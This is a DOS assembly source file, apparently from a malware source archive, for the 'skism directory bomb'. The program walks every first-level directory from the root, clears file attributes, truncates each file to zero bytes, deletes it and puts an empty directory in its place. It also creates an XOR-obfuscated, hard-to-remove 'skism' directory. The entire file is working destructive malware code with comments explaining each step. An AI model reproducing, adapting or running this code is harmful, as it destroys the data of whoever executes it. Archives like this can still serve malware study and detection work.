MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.smash.asm

190 lines
5.5 KiB
NASM
Raw Normal View History

2021-01-12 23:58:25 +00:00
;skism directory bomb v1.00
;written by hellraiser
;this is a lame bomb consisting of repetative/error full code
;but it gets the job done
;when run this program will start at the first directory from the root
;and trash all files in first level directorys
;then create a directory in place of the distroyed file name
;it will also create a semi-removable directory called skism
;yes bombs are very lame, and be advised, this is the only bomb
;skism shall ever write... but we must try everything once
;be warned, the tech used by this program does not only erase files but
;it will also truncate them to 0 bytes, the skism method.
code segment 'code'
assume cs:code,ds:code,es:code
org 0100h
main proc near
jmp start
thestoppa db 1ah ;EOF char to stop TYPE command
filecards db '*.*',0 ;wildcards for files
dircards db '*',0 ;wildcards for directorys
root db '\',0 ;root directory path
default db 64 DUP (?) ;buffer to hold current dir
dirdta db 43 DUP (?) ;DTA for dirs
filedta db 43 DUP (?) ;DTA for files
dseg dw ? ;holds old dir DTA segment
dofs dw ? ;holds old dir DTA segment
start:
mov di,offset vl ;decrypt skism string
mov si,offset vl ;
mov cx,09h ;
cld ;
repeat:
lodsb ;
xor al,92h ;
stosb ;
dec cx ;
jcxz bombstart ;
jmp repeat ;
bombstart:
mov dx,offset dirdta ;set DTA to hold directorys
mov ah,1ah ;DOS set DTA function
int 21h ;
mov ah,19h ;get drive code
int 21h ;
mov dl,al ;save drive code into dl
inc dl ;translate for function 3bh
mov ah,47h ;save current dir
mov si, offset default ;save current dir into buffer
int 21h ;
mov dx,offset root ;change dir to root
mov ah,3bh ;
int 21h ;
mov cx,13h ;find directorys
mov dx,offset dircards ;find only directorys
mov ah,4eh ;find first file
scanloop:
int 21h ;
jc quit ;quit if no more dirs/error
jmp changedir ;change to that dir
findnextdir:
mov ah,4fh ;find next directory
mov dx,offset dircards ;
jmp scanloop
changedir:
mov dx,offset dirdta + 30 ;point to dir name in DTA
mov ah,3bh ;change directory
int 21h ;
smash:
mov ah,2fh ;
int 21h ;
mov [dseg],es ;save dir DTA segemnt
mov [dofs],bx ;and offset
int 21h
mov dx,offset filedta ;use file DTA as new DTA
mov ah,1ah ;
int 21h ;
mov cx,0007h ;find flat attributes
mov dx,offset filecards ;point to '*.*',0 wildcard spec
mov ah,4eh ;find first file
filescanloop:
int 21h ;
jc done ;quit on error/no files found
mov ax,4301h ;clear files attributes
xor cx,cx ;
mov dx, offset filedta + 30 ;
int 21h ;
jc quit
mov ah,3ch ;truncate file
int 21h
jc quit
mov bx,ax ;save handle
jc done
mov ah,41h ;erase file
int 21h ;
mov ah,3eh ;close file
int 21h ;
mov ah,39h ;make directory in place of file
int 21h ;
mov ah,4fh ;find next
jmp filescanloop
done:
mov ah,1ah ;restore directory DTA
mov ds,[dseg] ;
mov dx,[dofs] ;
int 21h
mov dx,offset root ;change dir to root
mov ah,3bh ;
int 21h ;
jmp findnextdir
quit:
mov ah,3bh
mov dx,offset root ;change to root
int 21h
mov ah,39h
mov dx,offset vl
int 21h
jc restore
restore:
mov dx,offset default ;restore original directory
mov ah,3bh ;
int 21h ;
mov ah,4ch ;
int 21h ;
vl db 0c1h,0f9h,0fbh,0e1h,0ffh,0bch,06dh,0b2h,06dh,0
filler db 28 dup(1ah)
main endp
code ends
end main